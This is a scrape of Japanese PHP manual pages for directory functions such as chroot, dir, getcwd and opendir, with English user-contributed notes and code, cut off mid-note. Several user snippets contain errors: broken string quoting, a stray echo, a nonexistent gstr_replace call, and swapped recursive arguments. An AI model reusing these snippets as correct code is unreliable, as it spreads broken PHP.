nesk at xakep dot ru 24-Oct-2020 12:43
When working with FFI under a PHP ZTS environment, there is no standard way to change the directory with libraries (dll/so/dylib/etc), so to get around this problem, you should use something like this polyfill:

<?php

$directory = 'path/to/libraries';

switch (\PHP_OS_FAMILY) {
    case 'Windows':
        \FFI::cdef('extern unsigned char SetDllDirectoryA(const char* lpPathName);', 'kernel32.dll')
            ->SetDllDirectoryA($directory)
        ;
        break;

    case 'Linux':
    case 'BSD':
        \FFI::cdef('int setenv(const char *name, const char *value, int overwrite);')
            ->setenv('LD_LIBRARY_PATH', $directory, 1)
        ;
        break;

    case 'Darwin':
        \FFI::cdef('int setenv(const char *name, const char *value, int overwrite);')
            ->setenv('DYLD_LIBRARY_PATH', $directory, 1)
        ;
        break;
}

?>
php dot duke at qik dot nl 31-Jan-2009 02:16
When changing dir's under windows environments:

<?php
$path="c:\temp"';
chdir($path);
/* getcwd() gives you back "c:\temp" */

$path="c:\temp\"';
chdir($path);
/* getcwd() gives you back "c:\temp\" */
?>

to work around this inconsistency
doing a chdir('.') after the chdir always gives back "c:\temp"
herwin at snt dot utwente dot nl 17-Aug-2006 11:58
When using PHP safe mode and trying to change to a dir that is not accessible due to the safe mode restrictions, the function simply fails without generating any kind of error message.

(Tested in PHP 4.3.10-16, Debian Sarge default)


ルートディレクトリを変更する

  • ≪ chdir
  • closedir ≫
  • PHP Manual
  • ディレクトリ 関数
  • ルートディレクトリを変更する

chroot

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

chroot — ルートディレクトリを変更する

説明

chroot ( string $directory ) : bool

カレントプロセスのルートディレクトリを directory に変更し、 作業ディレクトリを "/" に変更します。

この関数が使えるのは GNU および BSD システムのみで、 かつ CLI, CGI, Embed SAPI を使用している場合のみです。

パラメータ

directory

ルートディレクトリの変更先のパス。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 chroot() の例

<?php
chroot("/path/to/your/chroot/");
echo getcwd();
?>

上の例の出力は以下となります。

/

注意

注意: この関数は Windows 環境にはまだ実装されていません。

注意: この関数は ZTS (Zend Thread Safety) を有効にしてビルドした PHPインタプリタでは利用できません。あなたの PHP で ZTS が有効かどうかを調べるには、php -i コマンドを使うか、ビルトイン定数PHP_ZTS を確認してください。

User Contributed Notes

drowningloli at gmail dot com 23-Dec-2014 12:03
The chroot() function is also available on SVR4 platforms (not just GNU and BSD.)


ディレクトリハンドルをクローズする

  • ≪ chroot
  • dir ≫
  • PHP Manual
  • ディレクトリ 関数
  • ディレクトリハンドルをクローズする

closedir

(PHP 4, PHP 5, PHP 7, PHP 8)

closedir — ディレクトリハンドルをクローズする

説明

closedir ( resource $dir_handle = ? ) : void

dir_handle で指定したディレクトリのストリームをクローズします。このストリームは、 opendir()により事前にオープンされていなければ なりません。

パラメータ

dir_handle

opendir() が事前にオープンした ディレクトリハンドルリソース。 ディレクトリハンドルを指定しなかった場合は、 opendir() が最後にオープンしたものを使用します。

例

例1 closedir() の例

<?php
$dir = "/etc/php5/";

// 既知のディレクトリをオープンし、変数にディレクトリを読み込んで閉じる
if (is_dir($dir)) {
    if ($dh = opendir($dir)) {
        $directory = readdir($dh);
        closedir($dh);
    }
}
?>

User Contributed Notes

foo at bar dot com 24-Nov-2000 10:35
About deleting a directory after doing a readdir/closedir on it... I'm not sure if this is the solution, but you could try to chdir("/"); before the rmdir to make absolutely sure you aren't standing in the directory (i.e trying to pull out the rug from under yourself).


ディレクトリクラスのインスタンスを返す

  • ≪ closedir
  • getcwd ≫
  • PHP Manual
  • ディレクトリ 関数
  • ディレクトリクラスのインスタンスを返す

dir

(PHP 4, PHP 5, PHP 7, PHP 8)

dir — ディレクトリクラスのインスタンスを返す

説明

dir ( string $directory , resource $context = ? ) : Directory

ディレクトリを読むための疑似オブジェクト指向の機構です。 指定した directory がオープンされます。

パラメータ

directory

オープンするディレクトリ。

context

注意: コンテキストのサポートは、 PHP 5.0.0 で追加されました。contexts の説明に関しては、 ストリーム を参照してください。

返り値

Directory のインスタンスを返します。 パラメータが間違っている場合は null、それ以外のエラーの場合は false を返します。

例

例1 dir() の例

以下の例で、Directory::read() の返り値をどのように調べているかに 注目してください。返り値が false と一致することを、明示的に （値が等しく、かつ型も等しい - 詳細は 比較演算子 を参照ください）調べています。なぜなら、そうしないと false と評価されてしまうディレクトリエントリがあった場合にループが とまってしまうからです。

<?php
$d = dir("/etc/php5");
echo "Handle: " . $d->handle . "\n";
echo "Path: " . $d->path . "\n";
while (false !== ($entry = $d->read())) {
   echo $entry."\n";
}
$d->close();
?>

上の例の出力は、 たとえば以下のようになります。

Handle: Resource id #2
Path: /etc/php5
.
..
apache
cgi
cli

注意

注意:

読み込みにより返されるディレクトリエントリの順番は、システムに依存します。

User Contributed Notes

synnus at gmail dot com 08-Jun-2018 01:06
<?php

// use $entry[0] != '.'  to detect if it's '..' or '.'

$d = dir('.');
echo "Pointeur : " . $d->handle . "<br/>\n";
echo "Chemin : " . $d->path . "<br/>\n";
while (false !== ($entry = $d->read())) {

   if( $entry[0] != '.' ) {
        echo  . "<br/>\n";
   }

}
$d->close()

?>
synnus at gmail dot com 19-Apr-2016 01:52
<?php
 // best small recurcive dir()
 // $entry[0]!='.'  <=== specifically to protect FTP files with a  dot '.' as first  carractere
 // return :
 // download\file\text\test.txt;
 // download\video\anime\test.mp4;
 // download\video\film\test2.mkv;

 echo rdir('download'); // start dir in \\download

 function rdir($path='',$k='') {
    $d = dir($path);
        while (false !== ($entry = $d->read())) {
            if($entry[0]!='.') {
                if(is_dir($path . '\\' . $entry)) {
                    $k = rdir($k,$path . '\\' . $entry);
                }
                else {
                    $k .= $path . '\\' . $entry . "; \n" ;
                }

            }
        }
    $d->close();
    return $k;
 }

?>
Alex A. 02-Aug-2011 05:27
<?PHP
/*Simple, good looking recursive function for printing directories.
Just copy/paste and it is ready to go!*/

function printCurrentDirRecursively($originDirectory, $printDistance=0){

    // just a little html-styling
    if($printDistance==0)echo '<div style="color:#35a; font-family:Verdana; font-size:11px;">';
    $leftWhiteSpace = "";
    for ($i=0; $i < $printDistance; $i++)  $leftWhiteSpace = $leftWhiteSpace."&nbsp;";

    $CurrentWorkingDirectory = dir($originDirectory);
    while($entry=$CurrentWorkingDirectory->read()){
        if($entry != "." && $entry != ".."){
            if(is_dir($originDirectory."\\".$entry)){
                echo $leftWhiteSpace."<b>".$entry."</b><br>\n";
                printCurrentDirRecursively($originDirectory."\\".$entry, $printDistance+2);
             }
            else{
                echo $leftWhiteSpace.$entry."<br>\n";
            }
        }
    }
    $CurrentWorkingDirectory->close();

    if($printDistance==0)echo "</div>";
}

//TEST IT!
printCurrentDirRecursively(getcwd());

?>
GUILLE@GARGANO 18-Jan-2011 09:17
to get a dir of http://www.example.com/directory

<?php
function remotedir($dir)
{
  $dir = str_replace(" ", "%20", html_entity_decode($dir));
  if (($rh = fopen($dir, 'rb')) === FALSE) { return false; }
  $i = 0;
  while (!feof($rh)) {
     $archivos = fgetss($rh);
     $directorio[$i++] = trim( substr($archivos,1,strpos($archivos," ",1)) );
  }
  fclose($rh);
  return $directorio;
}
?>
emanueledelgrande at email dot it 01-Oct-2009 06:14
When creating custom solutions, use predefined PHP constants to shorten your code and improve performances:
http://www.php.net/manual/en/reserved.constants.php

For example, DIRECTORY_SEPARATOR may replace a function in which you check PHP_OS to set if the directory separator is "/" or "\\".

Cheers.
sojka at online-forum dot net 20-Oct-2008 03:47
That's the way, I'm storing recursive dirs to an array.

<?php
public static function getTreeFolders($sRootPath = UPLOAD_PATH_PROJECT, $iDepth = 0) {
      $iDepth++;
      $aDirs = array();
      $oDir = dir($sRootPath);
      while(($sDir = $oDir->read()) !== false) {
        if($sDir != '.' && $sDir != '..' && is_dir($sRootPath.$sDir)) {
          $aDirs[$iDepth]['sName'][] = $sDir;
          $aDirs[$iDepth]['aSub'][]  = self::getTreeFolders($sRootPath.$sDir.'/',$iDepth);
        }
      }
      $oDir->close();
      return empty($aDirs) ? false : $aDirs;
}
?>
manuel at buschmanuel dot de 07-Feb-2008 02:45
Here my solution how to do effective recursiv directory listing.

Have fun.

<?php

/**
 * example of use:
 */
$d = new RecDir("/etc/",false);
echo "Path: " . $d->getRootPath() . "\n";
while (false !== ($entry = $d->read())) {
   echo $entry."\n";
}
$d->close();

class RecDir
{
   protected $currentPath;
   protected $slash;
   protected $rootPath;
   protected $recursiveTree;

   function __construct($rootPath,$win=false)
   {
      switch($win)
      {
         case true:
            $this->slash = '\\';
            break;
         default:
            $this->slash = '/';
      }
      $this->rootPath = $rootPath;
      $this->currentPath = $rootPath;
      $this->recursiveTree = array(dir($this->rootPath));
      $this->rewind();
   }

   function __destruct()
   {
      $this->close();
   }

   public function close()
   {
      while(true === ($d = array_pop($this->recursiveTree)))
      {
         $d->close();
      }
   }

   public function closeChildren()
   {
      while(count($this->recursiveTree)>1 && false !== ($d = array_pop($this->recursiveTree)))
      {
         $d->close();
         return true;
      }
      return false;
   }

   public function getRootPath()
   {
      if(isset($this->rootPath))
      {
         return $this->rootPath;
      }
      return false;
   }

   public function getCurrentPath()
   {
      if(isset($this->currentPath))
      {
         return $this->currentPath;
      }
      return false;
   }

   public function read()
   {
      while(count($this->recursiveTree)>0)
      {
         $d = end($this->recursiveTree);
         if((false !== ($entry = $d->read())))
         {
            if($entry!='.' && $entry!='..')
            {
               $path = $d->path.$entry;

               if(is_file($path))
               {
                  return $path;
               }
               elseif(is_dir($path.$this->slash))
               {
                  $this->currentPath = $path.$this->slash;
                  if($child = @dir($path.$this->slash))
                  {
                     $this->recursiveTree[] = $child;
                  }
               }
            }
         }
         else
         {
            array_pop($this->recursiveTree)->close();
         }
      }
      return false;
   }

   public function rewind()
   {
      $this->closeChildren();
      $this->rewindCurrent();
   }

   public function rewindCurrent()
   {
      return end($this->recursiveTree)->rewind();
   }
}
?>
cf at chronofish dot com 25-Jun-2007 03:23
The dir Class, from what I can tell, on a Windows box is not a  live image of the directory.  When the class is instantiated it takes a snapshot of the directory and then the iterator works off that.

I may be wrong, but when I run two processes that look to see if a directory exists, and then deletes the dir when some processing takes place.  Deletes from one process do not effect the iteration of the second.

To get around this I check that the file exists before doing my processing:

$d = dir($dataDir);
while (false !== ($entry = $d->read()))
if ($entry != '..' && $entry != '.' && file_exists("$dataDir\\$entry"))
{
    // do stuff
}
$d->close();

I run this as a batch process and can activate it multiple times to process the directory listing in parallel.

-CF
thomas at hawkes dot ca 31-Jan-2007 06:10
With SPL, you could recursively list all of the folders inside the current directory like this:

<?php
$it = new RecursiveDirectoryIterator('./');

// RecursiveIteratorIterator accepts the following modes:
//     LEAVES_ONLY = 0  (default)
//     SELF_FIRST  = 1
//     CHILD_FIRST = 2
foreach (new RecursiveIteratorIterator($it, 2) as $path) {

    if ($path->isDir()) {

        echo "$path\n";

    }

}
?>
http://www.rooftopsolutions.nl 18-Jan-2007 09:17
<?php

  $i = new RecursiveIteratorIterator(new RecursiveDirectoryIterator('.'));

?>

works for me..
alex at snet-group dot org 01-Oct-2006 11:55
IMHO, thats take most effect with smaller number of errors;)

     function get_leaf_dirs($dir)
      {
         $array = array();
         $d = @dir($dir);
         if($d)
         {
               while (false !== ($entry = $d->read()))
               {
                   if($entry!='.' && $entry!='..')
                   {
                       $entry = $dir.'/'.$entry;
                       if(is_dir($entry))
                       {
                           $subdirs = get_leaf_dirs($entry);
                           if ($subdirs)
                             $array = array_merge($array, $subdirs);
                           else
                             $array[] = $entry;
                       }
                   }
               }
               $d->close();
         }
         return $array;
      }
done_to_death at example dot com 23-Aug-2006 05:56
function directoryList($start,$win32=false){
    if($win32){
        $slash="\\";
    }else{
        $slash="/";
    }
    $basename = pathinfo($start);
    $basename = $basename['basename'];
    $ls=array();
    $dir = dir($start);
    while($item = $dir->read()){
        if(is_dir($start.$slash.$item)&& $item!="." && $item!=".."){
            $ls[$basename][]=directoryList($start.$slash.$item,$win32);
        }else{
            if($item!="."&&$item!=".."){
                $ls[$basename][]=$item;
            }
        }
    }
    return $ls;
}

$path = pathinfo(__FILE__);
$ls = directoryList($path['dirname'], true);
22-Feb-2006 01:02
Regarding samuel's comment about the dir() function not supporting Unicode properly, it's all in the encoding. The function does NOT internally change Unicode characters into question marks (?), as I was first led to believe. If you simply try to output them in UTF-8, they'll show up just right.
samuel dot l at mushicrew dot com 24-Jan-2006 10:52
Note that the dir object will use the default encoding for non-unicode programs on Windows with PHP 5.x.

So, if you have a file named with characters unsupported by the current default encoding, the dir->read() method will return a wrong entry.

<?php
/*
** This script is on the same directory than a file named with
** unsupported characters for the current default encoding.
*/
$d = dir("./");
while(false !== ($e = $d->read()))
    echo $e . '<br/>';
?>

This will print a "?" for every unsupported characters, and not the right file name. So take care if you check with is_file/is_dir right after enumerating.
radar at frozenplague dot net 13-Jan-2006 12:00
Regarding jaqb's post about a correction to the read_dir function, I have one small fix too if people wish to also list the directories inside this directory and read them into the same array.

<?
function read_dir($dir) {
   $array = array();
   $d = dir($dir);
   while (false !== ($entry = $d->read())) {
       if($entry!='.' && $entry!='..') {
           $entry = $dir.'/'.$entry;
           if(is_dir($entry)) {
               $array[] = $entry;
               $array = array_merge($array, read_dir($entry));
           } else {
               $array[] = $entry;
           }
       }
   }
   $d->close();
   return $array;
}
?>
fordiman at gmail dot com 10-Jan-2006 10:15
Saw the leaf dirs bit...  quick mod:

function preg_ls ($path=".", $rec=false, $pat="/.*/") {
    $pat=preg_replace ("|(/.*/[^S]*)|s", "\\1S", $pat);
    while (substr ($path,-1,1) =="/") $path=substr ($path,0,-1);
    if (!is_dir ($path) ) $path=dirname ($path);
    if ($rec!==true) $rec=false;
    $d=dir ($path);
    $ret=Array ();
    while (false!== ($e=$d->read () ) ) {
        if ( ($e==".") || ($e=="..") ) continue;
        if ($rec && is_dir ($path."/".$e) ) {
            $ret=array_merge ($ret,preg_ls($path."/".$e,$rec,$pat));
            continue;
        }
        if (!preg_match ($pat,$e) ) continue;
        $ret[]=$path."/".$e;
    }
    return (empty ($ret) && preg_match ($pat,basename($path))) ? Array ($path."/") : $ret;
}

example:

foreach (preg_ls ("/usr/share/fluxbox", true, "/[LT]e[sa]/i") as $file) echo $file."\n";

output:

/usr/share/fluxbox/styles/Leaf/
/usr/share/fluxbox/styles/Clean
/usr/share/fluxbox/styles/Testing/
fordiman at gmail dot com 10-Jan-2006 10:05
This one's pretty nice.  After getting frustrated for hunting down .jpg files in my massive music collection (PHP would run out of memory), I thought there should be a preg_ls function.

function preg_ls ($path=".", $rec=false, $pat="/.*/") {
    // it's going to be used repeatedly, ensure we compile it for speed.
    $pat=preg_replace("|(/.*/[^S]*)|s", "\\1S", $pat);
    //Remove trailing slashes from path
    while (substr($path,-1,1)=="/") $path=substr($path,0,-1);
    //also, make sure that $path is a directory and repair any screwups
    if (!is_dir($path)) $path=dirname($path);
    //assert either truth or falsehoold of $rec, allow no scalars to mean truth
    if ($rec!==true) $rec=false;
    //get a directory handle
    $d=dir($path);
    //initialise the output array
    $ret=Array();
    //loop, reading until there's no more to read
    while (false!==($e=$d->read())) {
        //Ignore parent- and self-links
        if (($e==".")||($e=="..")) continue;
        //If we're working recursively and it's a directory, grab and merge
        if ($rec && is_dir($path."/".$e)) {
            $ret=array_merge($ret,preg_ls($path."/".$e,$rec,$pat));
            continue;
        }
        //If it don't match, exclude it
        if (!preg_match($pat,$e)) continue;
        //In all other cases, add it to the output array
        $ret[]=$path."/".$e;
    }
    //finally, return the array
    return $ret;
}

Not bad for a mere 18 lines, don't you think?

Example use:

foreach (preg_ls("/etc/X11", true, "/.*\.conf/i") as $file) echo $file."\n";

Output:

/etc/X11/xkb/README.config
/etc/X11/xorg.conf-vesa
/etc/X11/xorg.conf~
/etc/X11/gui.conf
/etc/X11/xorg.conf
/etc/X11/xorg.conf-fbdev
Anton Backer 04-Jan-2006 07:24
i've modified the script below to get the leaf folders of any directory (folders with no subfolders).

note: this does not return the folder passed in as a parameter, even if it has no subfolders.

<?php
function get_leaf_dirs($dir) {
   $array = array();
   $d = dir($dir);
   while (false !== ($entry = $d->read())) {
       if($entry!='.' && $entry!='..') {
           $entry = $dir.'/'.$entry;
           if(is_dir($entry)) {
               $subdirs = get_leaf_dirs($entry);
               if ($subdirs)
                  $array = array_merge($array, $subdirs);
               else
                  $array[] = $entry;
           }
       }
   }
   $d->close();
   return $array;
}
?>


カレントのワーキングディレクトリを取得する

  • ≪ dir
  • opendir ≫
  • PHP Manual
  • ディレクトリ 関数
  • カレントのワーキングディレクトリを取得する

getcwd

(PHP 4, PHP 5, PHP 7, PHP 8)

getcwd — カレントのワーキングディレクトリを取得する

説明

getcwd ( ) : string|false

カレントのワーキングディレクトリを返します。

返り値

成功時はカレントのワーキングディレクトリを返します。 失敗時は false を返します。

いくつかの UNIX の派生系では、親ディレクトリが読み込めない、 もしくは検索モードが設定されている場合、カレントディレクトリが可能だとしても getcwd() は false を返します。 モードと権限についての詳細は、chmod() を参照ください。

警告

PHP インタプリタが ZTS (Zend Thread Safety) を有効にしてビルドされていると、 getcwd() 関数が返した現在のカレントディレクトリは、 オペレーティングシステムが返すそれとは異なる可能性があります。 この振る舞いは、カレントディレクトリに依存した (FFI を通じて呼び出される) 外部ライブラリが影響を受けます。

例

例1 getcwd() の例

<?php

// カレントディレクトリ
echo getcwd() . "\n";

chdir('cvs');

// カレントディレクトリ
echo getcwd() . "\n";

?>

上の例の出力は、 たとえば以下のようになります。

/home/didou
/home/didou/cvs

参考

  • chdir() - ディレクトリを変更する
  • chmod() - ファイルのモードを変更する

User Contributed Notes

CXJ 20-Mar-2017 11:56
getcwd() appears to call the equivalent of PHP's realpath() on the path.  It never returns symlinks, but always the actual directory names in the path to the current working directory.
Craig 05-Mar-2016 11:44
Be aware when calling getcwd() in directories consisting of symlinks.

getcwd()  is the equivalent of shell command "pwd -P" which resolves symlinks.

The shell command "pwd" is the equivalent of "pwd -L" which uses PWD from the environment without resolving symlinks. This is also the equivalent of calling getenv('PWD').
Anonymous 14-Jul-2010 04:04
As you could read in
http://www.php.net/manual/en/features.commandline.differences.php
the CLI SAPI does - contrary to other SAPIs - NOT automatically change the current working directory to the one the started script resides in.

A very simple workaround to regain the behaviour you're used to from your "ordinary" webpage scripting is to include something like that at the beginning of your script:

<?php
  chdir( dirname ( __FILE__ ) );
?>

But because this is about reading or "finding" pathes, you might appreciate it if I share some more sophisticated tricks I frequently use in CLI scripts ...

<?php
// Note: all pathes stored in subsequent Variables end up with a DIRECTORY_SEPARATOR

// how to store the working directory "from where" the script was called:
$initial_cwd = preg_replace( '~(\w)$~' , '$1' . DIRECTORY_SEPARATOR , realpath( getcwd() ) );

// how to switch symlink-free to the folder the current file resides in:
chdir( dirname ( realpath ( __FILE__ ) ) );

// how to store the former folder in a variable:
$my_folder = dirname( realpath( __FILE__ ) ) . DIRECTORY_SEPARATOR;

// how to get a path one folder up if $my_folder ends with \class\ or /class/ :
$my_parent_folder = preg_replace( '~[/\\\\]class[/\\\\]$~' , DIRECTORY_SEPARATOR , $my_folder );

// how to get a path one folder up in any case :
$my_parent_folder = preg_replace( '~[/\\\\][^/\\\\]*[/\\\\]$~' , DIRECTORY_SEPARATOR , $my_folder );

// how to make an array of OS-style-pathes from an array of unix-style-pathes
// (handy if you use config-files or so):
foreach( $unix_style_pathes as $unix_style_path )
    $os_independent_path[] = str_replace( '/' , DIRECTORY_SEPARATOR , $unix_style_path );

?>
bvidinli at gmail dot com 21-Jan-2009 01:13
if you link your php to /bin/linkedphp  and your php is at for ex /home/actual.php

when you run linkedphp in somewhere in your filesystem,
getcwd returns /bin instead of working dir,

solution: use dirname(__FILENAME__) instead
ash at ashmckenzie dot org 18-Nov-2008 05:37
It appears there is a change in functionality in PHP5 from PHP4 when using the CLI tool.  Here is the example: -

cd /tmp

cat > foo.php << END
<?php
    print getcwd() . "\n";
?>
END

cd /

php -q /tmp/foo.php

PHP4 returns /tmp
PHP5 returns /

Something to be aware of.
Wolfgang M. Pauli 04-May-2008 07:44
If you try to use getcwd() in a directory that is a symbolic link, getcwd() gives you the target of that link (similarly when parent etc. is symbolic link). There might be a better solution, but this worked for me (linux):
<? php
$cwd = exec('pwd');
?>
znupi69NOSPAMHERE at gmail dot com 03-Mar-2008 10:39
In response to myself: that function will not work for cases like:
/usr/bin$: /home/johndoe/Work/script.php
So here's a better and simpler way (I think this one works for all cases)
<?php
function get_file_dir() {
    global $argv;
    return realpath($argv[0]);
}
?>
Knock yourself out :)
znupi69NOSPAMHERE at gmail dot com 02-Mar-2008 07:01
When running PHP on the command line, if you want to include another file which is in the same directory as the main script, doing just
<?php
include './otherfile.php';
?>
might not work, if you run your script like this:
/$ /path/to/script.php
because the current working dir will be set to '/', and the file '/otherfile.php' does not exist, because it is in '/path/to/otherfile.php'.
So, to get the directory in which the script resides, you can use this function:
<?php
function get_file_dir() {
    global $argv;
    $dir = dirname(getcwd() . '/' . $argv[0]);
    $curDir = getcwd();
    chdir($dir);
    $dir = getcwd();
    chdir($curDir);
    return $dir;
}
?>
So you can use it like this:
<?php
include get_file_dir() . '/otherfile.php';
// or even..
chdir(get_file_dir());
include './otherfile.php';
?>
Spent some time thinking this one out, maybe it helps someone :)
leonbrussels at gmail dot com 17-Dec-2007 08:10
This is a function to convert a path which looks something like this:

/home/www/somefolder/../someotherfolder/../

To a proper directory path:

<?php

function simplify_path($path) {

//saves our current working directory to a variable
$oldcwd = getcwd();
//changes the directory to the one to convert
//$path is the directory to convert (clean up), handed over to the //function as a string

chdir($path);
return gstr_replace('\\', '/', getcwd());

//change the cwd back to the old value to not interfere with the script
chdir($oldcwd);

}

This function is really useful if you want to compare two filepaths which are not necesarily in a "cleaned up" state. It works in *NIX and WINDOWS alike

?>
ab5602 at wayne dot edu 30-Sep-2007 10:33
If getcwd() returns nothing for you under Solaris with an NFS mounted subdirectory, you are running into an OS bug that is supposedly fixed in recent versions of Solaris 10.  This same OS bug effects the include() and require() functions as well.
troy dot cregger at gmail dot com 26-Jan-2007 12:10
Take care if you use getcwd() in file that you'll need to include (using include, require, or *_once) in a script located outside of the same directory tree.

example:
<?php
//in /var/www/main_document_root/include/MySQL.inc.php
if (strpos(getcwd(),'main_')>0) {
  //code to set up main DB connection
}
?>

<?php
//in home/cron_user/maintenance_scripts/some_maintenance_script.php
require_once ('/var/www/main_document_root/include/MySQL.inc.php');
?>

In the above example, the database connection will not be made because the call to getcwd() returns the path relative to the calling script ( /home/cron_user/maintenance_scripts ) NOT relative to the file where the getcwd() function is called.
mark dot phpnetspam at mhudson dot net 03-Nov-2006 01:42
This function is often used in conjuction with basename(), i.e.
http://www.php.net/manual/en/function.basename.php
hodgman at ali dot com dot au 06-Sep-2006 07:58
I use this code to replicate the pushd and popd DOS commands in PHP:

<?php
$g_DirStack = array();
function pushd( $dir )
{
    global $g_DirStack;
    array_push( $g_DirStack, getcwd() );
    chdir( $dir );
}
function popd( )
{
    global $g_DirStack;
    $dir = array_pop( $g_DirStack );
    assert( $dir !== null );
    chdir( $dir );
}
?>

This allows you to change the current directory with pushd, then use popd to "undo" the directory change when you're done.
emailfire at gmail dot com 08-Dec-2005 06:57
To get the username of the account:

<?php
$dir = getcwd();
$part = explode('/', $dir);
$username = $part[1];
?>

If current directory is '/home/mike/public_html/' it would return mike.
memandeemail at gmail dot com 07-Dec-2005 03:48
Some server's has security options to block the getcwd()

Alternate option:

str_replace($_SERVER['SCRIPT_NAME'],'', $_SERVER['SCRIPT_FILENAME']);
marcus at synchromedia dot co dot uk 04-May-2005 08:41
"On some Unix variants, getcwd() will return FALSE if any one of the parent directories does not have the readable or search mode set, even if the current directory does."

Just so you know, MacOS X is one of these variants (at least 10.4 is for me). You can make it work by applying 'chmod a+rx' to all folders from your site folder upwards.
vermicin at antispam dot gmail dot com 27-Jan-2005 03:48
If your PHP cli binary is built as a cgi binary (check with php_sapi_name), the cwd functions differently than you might expect.

say you have a script /usr/local/bin/purge
you are in /home/username

php CLI: getcwd() gives you /home/username
php CGI: getcwd() gives you /usr/local/bin

This can trip you up if you're writing command line scripts with php. You can override the CGI behavior by adding -C to the php call:

#!/usr/local/bin/php -Cq

and then getcwd() behaves as it does in the CLI-compiled version.
manux at manux dot org 21-Jun-2004 09:44
watch out:
working directory, and thus:
getcwd ()
is "/" while being into a register'ed shutdown function!!!
dave at corecomm dot us 10-Dec-2003 10:14
getcwd() returns the path of the "main" script referenced in the URL.

dirname(__FILE__) will return the path of the script currently executing.

I had written a script that required several class definition scripts from the same directory. It retrieved them based on filename matches and used getcwd to figure out where they were.

Didn't work so well when I needed to call that first script from a new file in a different directory.


ディレクトリハンドルをオープンする

  • ≪ getcwd
  • readdir ≫
  • PHP Manual
  • ディレクトリ 関数
  • ディレクトリハンドルをオープンする

opendir

(PHP 4, PHP 5, PHP 7, PHP 8)

opendir — ディレクトリハンドルをオープンする

説明

opendir ( string $path , resource $context = ? ) : resource|false

ディレクトリハンドルをオープンします。このハンドルは、この後 closedir(), readdir(), rewinddir() 関数コールで使用されます。

パラメータ

path

オープンするディレクトリのパス。

context

context パラメータの詳細については マニュアルのストリーム を参照ください。

返り値

成功した場合にディレクトリハンドルの resource 、 失敗した場合に false を返します

エラー / 例外

失敗したときは E_WARNING が発生します。

path が有効なディレクトリでない場合、 権限の制限によりディレクトリがオープンできない場合、 またはファイルシステムのエラー時に起こりえます。

例

例1 opendir() の例

<?php
$dir = "/etc/php5/";

// 既知のディレクトリをオープンし、その内容を読み込みます。
if (is_dir($dir)) {
    if ($dh = opendir($dir)) {
        while (($file = readdir($dh)) !== false) {
            echo "filename: $file : filetype: " . filetype($dir . $file) . "\n";
        }
        closedir($dh);
    }
}
?>

上の例の出力は、 たとえば以下のようになります。

filename: . : filetype: dir
filename: .. : filetype: dir
filename: apache : filetype: dir
filename: cgi : filetype: dir
filename: cli : filetype: dir

参考

  • is_dir() - ファイルがディレクトリかどうかを調べる
  • readdir() - ディレクトリハンドルからエントリを読み込む
  • dir() - ディレクトリクラスのインスタンスを返す

User Contributed Notes

hxss at ya dot ru 06-Sep-2017 11:02
The TRUE recursive map function for working with dirs & files.
You can create, read(find), update(or move) or delete files/dirs/tree by your callable function.
You can use flags for select what content you need.

<?php
var_dump(dirmap($dst, function($v) {
    pre($v);
    return true;
}, 1|2|4|8));

/**
 * Applies the callback to the entries of the given dir path
 * In accordance with the received flags
 * @param  string   $path   path of the working directory
 * @param  Callable $action Callable function that would be
 *     executed for every entry in path
 * @param  integer  $flags  can be the following flag:
 *     1: apply Callable function for files
 *     2: apply Callable function for directories
 *     4: apply Callable function for $path
 *     8: work recursively
 * @return bool bitwise AND of all (bool)$action calls results
 */
function dirmap(string $path, Callable $action, int $flags = 15) {
    $flF = boolval($flags & 1);
    $flD = boolval($flags & 2);
    $flP = boolval($flags & 4);
    $flR = boolval($flags & 8);
    $result = 1;

    if (is_dir($path)) {

        $dir = opendir($path);
        while ($entry = readdir($dir))
            if (!in_array($entry, ['.', '..'])) {
                $fullEntry = "{$path}/{$entry}";

                if ($flR)
                    $result &= dirmap($fullEntry, $action, $flags & 11);

                if ($flF && is_file($fullEntry) || $flD && is_dir($fullEntry))
                    $result &= (bool)call_user_func($action, $fullEntry);
            }

        if ($flP)
            $result &= (bool)call_user_func($action, $fullEntry);

        return (bool)$result;
    } else
        return is_file($path);
}
?>
sergio dot barrios at upr dot edu dot cu 02-Aug-2016 03:08
iterated function that searches a folder or file in a directory.

<?php

$root = '../Classes';
$search_parameter = "CachedObjectStorageFactory.php";

//if we call the function spider as spider($root);
//will show all the directory content including subdirectories

//if we call the function spider as spider('../Classes', 'Shared');
//and will show the address of the directory

spider($root, $search_parameter);
closedir();

function spider($dir,$fileName=""){

    $handle = opendir($dir);

    while($file= readdir($handle)){

       if($file != "." && $file != ".."){

          if($fileName=="")
             echo $dir."/".$file."<br>";
        else
           if($file == $fileName)
            echo $dir."/".$file."<br>";

        if(!is_file($dir."/".$file))
            spider($dir."/".$file,$fileName);

      }
   }

}

?>
hz_php at hotmail dot com { hussam alzahabi } 24-Apr-2016 10:59
Sometimes the programmer needs to access folder content which has arabic name but the opendir function will return null resources id

for that we must convert the dirname charset from utf-8 to windows-1256 by the iconv function just if the preg_match function detect arabic characters and use " U " additionality to enable multibyte matching

<?php

$dir = ("./"); // on this file dir

// detect if the path has arabic characters and use " u "  optional to enable function to match multibyte characters

if (preg_match('#[\x{0600}-\x{06FF}]#iu', $dir) )
{

    // convert input ( utf-8 ) to output ( windows-1256 )

    $dir = iconv("utf-8","windows-1256",$dir);

}

 if( is_dir($dir) )
 {

     if(  ( $dh = opendir($dir) ) !== null  )
     {

         while ( ( $file = readdir($dh) ) !== false  )
         {

             echo "filename: ".$file ." filetype : ".filetype($dir.$file)."<br/>";

         }

     }

 }

?>
olivernassar.com 03-Aug-2009 01:46
Hopefully this helps someone else. Returns a list of all the files in the directory and any subdirectories.
Excludes files/folders that are in the $exempt array. Can modifiy it so files aren't passed by reference fairly easily.

<?php

    function getFiles($directory,$exempt = array('.','..','.ds_store','.svn'),&$files = array()) {
        $handle = opendir($directory);
        while(false !== ($resource = readdir($handle))) {
            if(!in_array(strtolower($resource),$exempt)) {
                if(is_dir($directory.$resource.'/'))
                    array_merge($files,
                        self::getFiles($directory.$resource.'/',$exempt,$files));
                else
                    $files[] = $directory.$resource;
            }
        }
        closedir($handle);
        return $files;
    }

?>
Anonymous 24-Jul-2009 08:42
If you want to iterate through a directory, have a look at the SPL DirectoryIterator:
http://php.net/manual/class.directoryiterator.php
Madog Llwyd 09-May-2009 05:22
A simple piece to open a directory and display any files with a given extension. Great for things like newsletters, score sheets or the like where you just want to make it easy on the user - they just dump in the file with the correct extension and it's done. A link is given to the file which opens up in a new window.

<?php
